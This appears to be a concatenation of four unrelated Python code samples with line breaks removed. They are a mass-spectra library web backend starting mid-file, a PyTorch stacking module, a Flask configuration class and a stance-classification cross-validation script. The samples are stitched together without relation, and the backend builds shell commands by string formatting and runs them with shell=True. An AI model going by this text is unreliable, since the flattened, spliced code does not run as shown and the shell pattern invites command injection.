cur.execute(sql_query, (limit,)) return dumps([row for row in cur]) def get_num_spectra(): db = sqlite3.connect("%s/spectra.blib" % data_dir) cur = db.cursor() sql_query = "SELECT count(*) cnt FROM RefSpectra;" cur.execute(sql_query) return cur.fetchone()[0] def get_spectrum(): spectrum_id = int(form.getvalue('spectrum_id')) def make_dict(cur): return {key[0]: value for key, value in zip(cur.description, cur.fetchall()[0])} db = sqlite3.connect("%s/spectra.blib" % data_dir) cur = db.cursor() cur.execute('SELECT * FROM RefSpectra r INNER JOIN RefSpectraPeaks p ON r.id = p.RefSpectraID WHERE r.id = ?;', (spectrum_id,)) result = make_dict(cur) try: result["peakMZ"] = zlib.decompress(result["peakMZ"]) except: pass result["peakMZ"] = struct.unpack("%id" % (len(result["peakMZ"]) / 8), result["peakMZ"]) try: result["peakIntensity"] = zlib.decompress(result["peakIntensity"]) except: pass result["peakIntensity"] = struct.unpack("%if" % (len(result["peakIntensity"]) / 4), result["peakIntensity"]) return dumps(result) def set_unset_spectrum(): db = sqlite3.connect("%s/spectra.blib" % data_dir) cur = db.cursor() spectrum_id = int(form.getvalue('spectrum_id')) value = int(form.getvalue('value')) sql_query = "UPDATE RefSpectra SET scoreType = ? WHERE id = ?;" cur.execute(sql_query, (value, spectrum_id)) db.commit() return 0 def merge_blibs(): os.system("rm -f '%s/inserting.dat'" % data_dir) sql_query = "SELECT * FROM files WHERE type = 'ident';" my_cur.execute(sql_query) if my_cur.rowcount: row = dict_row(my_cur) species_id = row["species"] spectral_library = "%s/data/spectral_library_%s.blib" % (conf["root_path"], species_id) new_library = "%s/spectra.blib" % data_dir cwd = "%s/admin/scripts" % conf["root_path"] command = "%s/merge-blibs.py %s %s &" % (cwd, spectral_library, new_library) pid = subprocess.Popen([command], cwd = cwd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) return 0 return "#An error during merging occurred." def check_insert_progress(): fname = "%s/inserting.dat" % data_dir if not os.path.isfile(fname): return 0 else: with open(fname, mode = "rt") as content_file: content = content_file.read().strip().strip(" ") if len(content) == 0: return 0 return content commands = {"get_check_sum": get_check_sum, "register_file": register_file, "send_file": send_file, "check_ident": check_ident, "delete_file": delete_file, "load_dependencies": load_dependencies, "start_convertion": start_convertion, "check_blib_progress": check_blib_progress, "select_spectra": select_spectra, "get_spectrum": get_spectrum, "get_num_spectra": get_num_spectra, "set_unset_spectrum": set_unset_spectrum, "merge_blibs": merge_blibs, "check_insert_progress": check_insert_progress } if command not in commands: print("#command not registered") exit() print(commands[command](), end="")
python
from typing import List, Tuple, Union import torch from torch import Tensor from ..neko_module import NekoModule from ..util import F class Stack(NekoModule): """ The module version of torch.stack function family. Args: mode (``str``, optional): The mode of the pytorch stack type. Default original stack. dim (``int``, optional): The dimension of stack apply to. Cannot use in non-default mode. Default 0. Examples:: dstack = Stack("d") x_stack = dstack([x1, x2]) """ def __init__(self, mode: str = "", dim: int = 0): super().__init__() # other mode cannot specify the dim assert not (mode != "" and dim != 0), "Other modes cannot specify the dim" if mode == "": self.stack_func = F(torch.stack, dim=dim) elif mode.lower() == "d": self.stack_func = torch.dstack elif mode.lower() == "v": self.stack_func = torch.vstack elif mode.lower() == "h": self.stack_func = torch.hstack elif mode.lower() == "column": self.stack_func = torch.column_stack elif mode.lower() == "row": self.stack_func = torch.row_stack else: raise ValueError("""Not a valid `mode` argument. It should be in ["", "d", "v", "h", "column", "row"].""") def forward(self, tensors: Union[List[Tensor], Tuple[Tensor, ...]]) -> Tensor: return self.stack_func(tensors)
python
import os from dotenv import load_dotenv load_dotenv() # basedir = os.path.abspath(os.path.dirname(__file__)) # DB_USERNAME = os.environ.get('DB_USERNAME') # DB_PASSWORD = os.environ.get('DB_PASSWORD') # DB_ENGINE = os.environ.get('DB_ENGINE') # DB_NAME = os.environ.get('DB_NAME') # DB_HOST = os.environ.get('DB_HOST') # DB_PORT = os.environ.get('DB_PORT') class BaseConfig: """Base configuration""" ITEMS_PER_PAGE = 20 SECRET_KEY = os.environ.get('SECRET_DEV_KEY') SQLALCHEMY_TRACK_MODIFICATIONS = False TESTING = False TOKEN_EXPIRATION_DAYS = 30 TOKEN_EXPIRATION_SECONDS = 0 ES_HOST = os.environ.get('ES_HOST') ES_PORT = os.environ.get('ES_PORT') ELASTICSEARCH_URL = os.environ.get('ELASTICSEARCH_URL') class DevelopmentConfig(BaseConfig): """Development configuration""" SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_DEV_URL') # SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'app.db') class TestingConfig(BaseConfig): """Testing configuration""" ITEMS_PER_PAGE = 2 PRESERVE_CONTEXT_ON_EXCEPTION = False SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_TEST_URL') TESTING = True TOKEN_EXPIRATION_DAYS = 0 TOKEN_EXPIRATION_SECONDS = 3 class ProductionConfig(BaseConfig): """Production configuration""" DEBUG = False # SQLALCHEMY_DATABASE_URI = f'{DB_ENGINE}://{DB_USERNAME}:{DB_PASSWORD}@{DB_HOST}:{DB_PORT}/{DB_NAME}' SECRET_KEY = os.environ.get('SECRET_KEY') SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL')
python
path_inputs = "../data/stance_emb_sample.npy" # path_inputs = "../data/stance_emb.npy" path_stance = "../data/stance.npz" from collections import defaultdict, Counter from functools import partial from sklearn.linear_model import LogisticRegression from sklearn.metrics import accuracy_score, f1_score from util import partial import numpy as np ############# # load data # ############# dataset = np.load(path_stance) fold = dataset['fold'] top = dataset['top'] stn = dataset['stn'] inputs = np.load(path_inputs) # group labels by topic then fold then stance topic2fold2stance2idxs = defaultdict(partial(defaultdict, partial(defaultdict, list))) for i, (topic, stance, f) in enumerate(zip(top, stn, fold)): topic2fold2stance2idxs[topic][f][stance].append(i) # # print label counts for each topic and each fold # for topic, fold2stance2idxs in topic2fold2stance2idxs.items(): # print(topic) # for stance in {stance for stances in fold2stance2idxs.values() for stance in stances}: # print("| {} ".format(stance), end="") # for fold in range(5): # print("| {} ".format(len(topic2fold2stance2idxs[topic][fold][stance])), end="") # print("|") # group instances by topic then fold topic2fold2idxs = defaultdict(partial(defaultdict, list)) for topic, fold2stance2idxs in topic2fold2stance2idxs.items(): for fold, stance2idxs in fold2stance2idxs.items(): for idxs in stance2idxs.values(): topic2fold2idxs[topic][fold].extend(idxs) # dict str (list (array int)) topic2fold2idxs = {topic: tuple(np.array(idxs) for idxs in fold2idxs.values()) for topic, fold2idxs in topic2fold2idxs.items()} ########################## # 5-fold crossvalidation # ########################## f1_micro = partial(f1_score, average='micro') def crossvalidation(fold2idxs, labels=stn, inputs=inputs, score=f1_micro, cost=0.001): scores = [] for fold in range(5): i_valid = fold2idxs[fold] i_train = np.concatenate(fold2idxs[:fold] + fold2idxs[1+fold:]) x_valid, y_valid = inputs[i_valid], labels[i_valid] x_train, y_train = inputs[i_train], labels[i_train] model = LogisticRegression( C=cost, penalty='l2', solver='liblinear', multi_class='auto', class_weight='balanced' ).fit(x_train, y_train) scores.append(score(y_valid, model.predict(x_valid))) return np.mean(scores) # topic classification fold2idxs = tuple(map(np.concatenate, zip(*topic2fold2idxs.values()))) print(crossvalidation(fold2idxs, labels= top, cost= 0.01)) # stance classification per topic scores = [] for topic, fold2idxs in topic2fold2idxs.items(): score = crossvalidation(fold2idxs, cost= 0.1) print(topic, "{:.2f}".format(score * 100)) scores.append(score) print(np.mean(scores))
python